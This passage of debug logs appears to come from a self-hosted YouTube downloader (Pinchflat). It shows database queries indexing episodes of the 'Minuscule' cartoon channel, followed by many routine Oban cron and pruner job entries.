03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Valentine's Day / La Saint Valentin (Season 2)", "diIkW1_XW4A", 273, false, 5, "https://www.youtube.com/watch?v=diIkW1_XW4A", "/downloads/Miniscule Season 2/2015-02-12 Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2)/Minuscule - Valentine's Day ⧸ La Saint Valentin (Season 2) [diIkW1_XW4A].mp4", false, ~U[2015-02-12 16:10:51Z]] 22:15:49.757 [debug] QUERY OK source="sources" db=0.2ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:49.758 [debug] QUERY OK source="media_items" db=0.7ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2014-11-14 18:31:41Z], 5] 22:15:49.762 [debug] QUERY OK source="media_items" db=2.6ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The Ants / Les Fourmis (Season 2)", "d86116d9-05b0-4315-ae11-295ce7751806", "AGek0XLmbLI", 368, false, 5, "https://www.youtube.com/watch?v=AGek0XLmbLI", 187, "/downloads/Miniscule Season 2/2014-11-14 Minuscule - The Ants ⧸ Les Fourmis (Season 2)/Minuscule - The Ants ⧸ Les Fourmis (Season 2) [AGek0XLmbLI].mp4", false, false, false, [], 1, ~U[2014-11-14 18:31:41Z], ~U[2025-12-12 05:15:49Z], ~U[2025-12-12 05:15:49Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The Ants / Les Fourmis (Season 2)", "AGek0XLmbLI", 368, false, 5, "https://www.youtube.com/watch?v=AGek0XLmbLI", "/downloads/Miniscule Season 2/2014-11-14 Minuscule - The Ants ⧸ Les Fourmis (Season 2)/Minuscule - The Ants ⧸ Les Fourmis (Season 2) [AGek0XLmbLI].mp4", false, ~U[2014-11-14 18:31:41Z]] 22:15:49.762 [debug] QUERY OK source="sources" db=0.3ms idle=10.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-12 05:15:49Z], ~U[2025-12-12 05:15:49Z], 5] 22:15:49.765 [debug] QUERY OK source="media_items" db=1.1ms idle=8.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:15:49.768 [debug] QUERY OK source="media_items" db=1.0ms idle=8.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:15:49.768 [debug] QUERY OK source="media_items" db=0.2ms idle=6.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:15:49.769 [info] No notification servers provided for source 5 22:15:49.771 [debug] QUERY OK source="tasks" db=0.3ms idle=4.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2617, 5, ~U[2025-12-12 05:15:49Z], ~U[2025-12-12 05:15:49Z]] 22:15:49.772 [info] {"args":{"id":5},"id":2566,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":474287270,"event":"job:stop","queue_time":488121,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:16:00.543 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:18.854 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:48.856 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.544 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:18.858 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:48.860 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.546 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:18.862 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:48.864 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.547 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:18.866 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:48.868 [info] {"source":"oban","duration":1777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.548 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:18.871 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:48.873 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.549 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:18.875 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:48.877 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.551 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:18.879 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:48.881 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.552 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:18.883 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:48.885 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.553 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:18.887 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:48.889 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.555 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:18.891 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:48.893 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.556 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:18.895 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:48.897 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.557 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:18.899 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:48.901 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.558 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:18.903 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:48.905 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.559 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:18.907 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:48.909 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.560 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:18.911 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:48.913 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.561 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:18.915 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:48.917 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.562 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:18.919 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:48.921 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.563 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:18.923 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:48.925 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.564 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:18.927 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:48.929 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.565 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:18.931 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:48.933 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.566 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:18.935 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:48.937 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.567 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:18.939 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:48.941 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.568 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:18.943 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:48.945 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.569 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:18.947 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:48.949 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.570 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:18.951 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:48.953 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.571 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:18.955 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:48.957 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.572 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:18.959 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:48.961 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.573 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:18.963 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:48.965 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.574 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:18.967 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:48.969 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.575 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:18.971 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:48.973 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.576 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:18.975 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:48.977 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.577 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:18.979 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:48.981 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.578 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:18.983 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:48.985 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.579 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:18.987 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:48.989 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.580 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:18.991 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:48.993 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.581 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:18.995 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:48.997 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.582 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:18.999 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:49.001 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.583 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:19.003 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:49.005 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.584 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:19.007 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:49.009 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.585 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:19.011 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:49.013 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.586 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:19.015 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:49.017 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.587 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:19.019 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:49.021 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.588 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:19.023 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:49.025 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.590 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:19.027 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:49.028 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.591 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:19.032 [info] {"source":"oban","duration":2393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:49.034 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.592 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:19.036 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:49.038 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.593 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:19.040 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:49.042 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.594 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:19.044 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:49.046 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.595 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:19.048 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:49.050 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.596 [info] 